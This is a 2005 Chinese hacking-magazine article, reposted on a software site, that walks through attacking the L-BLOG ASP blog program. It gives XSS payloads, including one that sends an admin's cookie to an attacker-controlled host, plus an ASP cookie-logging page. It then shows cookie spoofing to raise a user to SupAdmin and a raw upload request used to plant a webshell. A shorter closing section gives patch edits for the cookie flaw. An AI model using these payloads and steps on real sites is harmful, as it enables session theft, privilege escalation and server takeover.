|
|
炸开L-BLOG程序大门 |
|
|
作者:未知 来源:月光软件站 加入时间:2005-5-13 月光软件站 |
作者:HaK_BaN[B.C.T] 网站:http://www.cnbct.org 原件下载地址:http://www.cnbct.org/blog.doc [已刊登黑客X档案] 这么快就已经新年了,HaK_BaN和全体Bug.Center.Team成员向各位读者说声:"新年快乐,技术进步",仅在此HaK_BaN送给大家一份新年大礼物关于L-Blog程序的漏洞大集合。 首先说说的是什么是blog(博客)?因为很多人都不知道blog是什么?就算看完了这篇文章都不明白,所以浪费一些篇幅希望编辑不要删除!谢谢 释义: 网络出版(Web Publishing)、发表和张贴(Post——这个字当名词用时就是指张贴的文章)文章是个急速成长的网络活动,现在甚至出现了一个用来指称这种网络出版和发表文章的专有名词——Weblog,或Blog。一个Blog就是一个网页,它通常是由简短且经常更新的Post所构成;这些张贴的文章都按照年份和日期排列。Blog的内容和目的有很大的不同,从对其他网站的超级链接和评论,有关公司、个人、构想的新闻到日记、照片、诗歌、散文,甚至科幻小说的发表或张贴都有。许多Blogs是个人心中所想之事情的发表,其它Blogs则是一群人基于某个特定主题或共同利益领域的集体创作。Blog好象对网络传达的实时讯息。撰写这些Weblog或Blog的人就叫做Blogger或Blog writer。在网络上发表Blog的构想使于1998年,但到了2000年才真正开始流行。起初,Bloggers将其每天浏览网站的心得和意见记录下来,并予以公开,来给其它人参考和遵循。但随着Blogging快速扩张,它的目的与最初已相去甚远。目前网络上数以千计的 Bloggers发表和张贴Blog的目的有很大的差异。不过,由于沟通方式比电子邮件、讨论群组更简单和容易,Blog已成为家庭、公司、部门和团队之间越来越盛行的沟通工具,因为它也逐渐被应用在企业内部网络(Intranet)。 现在在网络上使用的blog程序大致分为多用户和单用户两个版本,ASP的Blog程序以及版本都比较多,自然而然的就会存在着各种各样的漏洞啊!现在主流的ASP Blog程序有以下几种:
1.L-BLOG (Loveyuki编写的ASP+ACCESS架构),这个程序的修改以及美化版本N多 2.O-BLOG(叶开编写的ASP+ACCESS/SQL架构多用户) 3.Misslong(多用户版本) 4.theanswer's blog(外国开源网站项目程序,代码谨慎简洁) 5.SIC's blog(L-BLOG的修改版本,安全性能都比原作强) 6.Dlong(猪飞飞编写的程序属于比较早的blog程序,停止开发了)
我就拿L-BLOG程序来进行分析!看看我们的L-BLOG有多少问题?
一.L-BLOG程序漏洞.(跨站式脚本漏洞) 使用最广的程序就会有更多的漏洞存在,我们L-BLOG程序也是一样啊!!首先看看的就是基本的漏洞跨站式脚本漏洞,在Member.asp/favorite.asp/bloglinks.asp页面里面发现,作者并没有为了防止跨站脚本的漏洞,所以完全没有过滤到任何的敏感字符,借此我们就可以进行COOKIE的盗取,以及对于BLOG的破坏了! 我们就拿Member.asp页面的"个人主页"栏目设置作为例子,我们发现只要输入特定恶意代码,这样子就可以拿到管理员的COOKIE或者进行破坏!例如:<script>alert("TEST.BY.H4K_B4N");</script>在个人主页栏目的时候
当管理员或者其他用户查看我们设定的帐号资料的时候,代码的就会启动,这样子就完成了跨展脚本的攻击了! 在三个页面当中危害性最大的就是bloglinks.asp添加连接页面,只要在申请连接的地址输入恶意代码,就可以直接拿到管理员的COOKIE了,因为每个连接都需要经过管理员的审核才可以,这样子每当管理员登陆admincp.asp管理后台的相关页面就会启动代码从而得到我们需要的COOKIE了! 代码如下: <script> document.location='http://yoursite.com/cookie.asp?'%2B. </script>
COOKIE页面代码: <% Testfile=server.mappath("info.txt") Msg=request.servervariables("QUERY_STRING") Set fs=server.createobject("scripting.filesystemobject") Set thisfile=fs.opentextfile(testfile,8,true,0) Thidfile.writeline(""&msg&"") Thisfile.close Set fs=nothing %> 利用以上的代码,我们就可以很轻松的拿到管理员的COOKIE资料,进行进一步的入侵了。
(COOKIE欺骗漏洞) 之前我们说了关于跨站式脚本漏洞的实现,如果我们拿到了COOKIE,可以去跑密码,因为COOKIE保留了管理员的密码,这样子就可以拿到前台以及后台的管理员权限了(如果你的主机或者是肉鸡超级强的话,我建议你去跑啊!要是我才不干啊!)如果密码没有跑出来哪怎么办啊?放弃啊?我们可以试试利用COOKIE欺骗来得到前台管理员权限和webshell (只针对1.08(SE)以下没有打补丁的版本/修改版本) 首先就是利用老兵的Cookies&Inject Browser去访问网站,这样子我们就可以拿到L-BLOG程序的用户Cookie了,从而我们可以借用修改得到前台的管理员权限。
利用快速注册,我们很快的就拿到了用户COOKIE,然后我们需要把L-BLOG的COOKIE资料进行修改,从而进行COOKIE欺骗。 COOKIE如下:(以下的COOKIE进过删减) guoming(cookie保存的名称)=memLastpost=2005%2D1%2D7+21%3A24%3A21 &memPassword=E05CDD2E1AB4BF0AAE6A8E02217C234C(我们帐号的密码) &memStatus=Member(我们的等级或者权限)&memName=h4k%5Fb4n(用户名称) 而我们需要修改的参数就是关于我们权限的部分,首先我们把 memStatus=Member修改为SupAdmin。但是为什么要修改为这个了?经过查看L-BLOG的数据库我们可以看到管理员的memStatus是SupAdmin。 所以为了得到管理员的权限我们必需把Member修改为SupAdmin,这样子我们就可以得到前台管理权限。保存好我们修改的COOKIE后,刷新网页我们就可以看到结果。 而漏洞的起因我们可以看看commond.asp的代码,代码如下: Dim memName,memPassword,memStatus memName=CheckStr(Request.Cookies(CookieName)("memName")) memPassword=CheckStr(Request.Cookies(CookieName)("memPassword")) memStatus=CheckStr(Request.Cookies(CookieName)("memStatus")) 看memStatus是从Cookies里读出来的。 L-BLOG登陆的时候 普通用户给Request.Cookies(CookieName)("memStatus")赋了Member 超级管理员给Request.Cookies(CookieName)("memStatus")赋了SupAdmin 而前台的权限判断是根据memStatus的值,而memStatus的值,是从Request.Cookies(CookieName)("memStatus")里读出来的,所以我们将memStatus=Member改成memStatus=SupAdmin这样就获得了L-BLOG的前台的管理员权限了。
(上传漏洞) 如果我们拿到了管理员权限之后,我们为了要扩大控制。就必须要得到BLOG的webshell,在发表日志的功能模块我们可以找到上传的选项,从而就可以上传webshell,首先我们必须要拿到L-BLOG上传的封包信息,还有COOKIE这样子就可以进行提交了! 封包信息如下: POST /attachment.asp?action=upload HTTP/1.1 Cookie: ASPSESSIONIDQCRQSADR=KLPPKDNCPKCKFOGJIBBFOIAN; guoming=memPassword=E05CDD2E1AB4BF0AAE6A8E02217C234C&memLastpost=2005%2D1%2D7+21%3A24%3A21&memStatus=SupAdmin&memName=h4k%5Fb4n -----------------------------7d53a9b5607f0 Content-Disposition: form-data; name="File"; filename="C:\\Documents and Settings\\Administrator\\My Documents\\xxx\\1.jpg" Content-Type: image/pjpeg 从上面的信息我们得到分析就是上传的页面是attachment.asp?action=upload,文件字段为name="File",所以在使用工具的时候注意这两点进行设置,要不然弄不上去就不要说我骗人啊!我们用老兵的上传工具进行示范。 如图,我们可以看到webshelll,已经弄上去了!哈哈哈这样子BLOG的漏洞就基本上完全被我们榨干了,顺便要说的是webshell上去之后会出现乱码的情况,是因为L-BLOG采用UTF-8的编码所以出现代码乱码而已! 只要我们把webshell修改了编码就可以完全避免这个问题的发上了!!!
漏洞的修复; COOKIE的修复方法的原理就是将admin用户组手工删除,只给指定用户用户管理权限。 步骤:(指定用户指的是blog的管理员帐号 第一default.asp文件里, 找到Sub MemberCenter ''用户中心 下面。 将IF memStatus="SupAdmin" 改成 memName=指定用户 然后将后面的 ElseIF memStatus="Admin" Then Response.Write("<a href=""blogpost.asp""><img src=""images/icon_newblog.gif""/ align=""absmiddle"" border=""0""> "&S_Post_New&"</a><br>") 删除;
第二blogpost.asp文件里, 开头<%IF memStatus<>"Admin" AND memStatus<>"SupAdmin" Then%> 改成<%IF memName<>指定用户 Then%>
第三attachment.asp文件, 将<%IF memStatus="SupAdmin" OR memStatus="Admin" Then改成 <%IF memName=指定用户 Then
第四admincp.asp文件 将<%IF memStatus<>"SupAdmin" Then%>改成 <%IF memName<>指定用户 Then %>
我想大概的意思你一定明白了, 就是将memStatus="SupAdmin" 或者 memStatus="Admin" 用 memName=指定用户 就可以了, 如果有多人用的话,就改成memName=指定用户 or memName=指定用户1 or memName=指定用户2
注意: 如果是<>关系的话,多用户用and连接 如果是=关系的话,多用户用or连接 这样子BLOG程序的COOKIE漏洞就已经可以避免了,而上传以及跨站式脚本攻击的漏洞官方网站以及提供了补丁下载,我在这里就不再一一解释了!
关于其他BLOG程序的漏洞 因为篇幅的问题本来还想把其他的BLOG程序的漏洞详细的告诉大家的,现在只好说说大概吧,剩下的BLOG有部分存在着暴库以及上传过滤不严等等的漏洞,希望正在使用这些blog程序的用户到这些程序的官方网站下载最新的补丁,避免BLOG受到攻击。 文章到此就已经完全的结束,这篇文章不是为了让大家知道如何去攻击L-BLOG是希望大家在看的过程当中,要知道每个程序可能会存在着什么漏洞什么起因,从而进行修复或者引起注意。在使用程序的过程中,不但要懂得如何去利用,也需要在懂得利用的前提下去发现漏洞,去发现问题的所在。在此感谢淇淇小子以及永不放弃的帮助,文章如有错误请指出,谢谢。 
|
|
相关文章:相关软件: |
|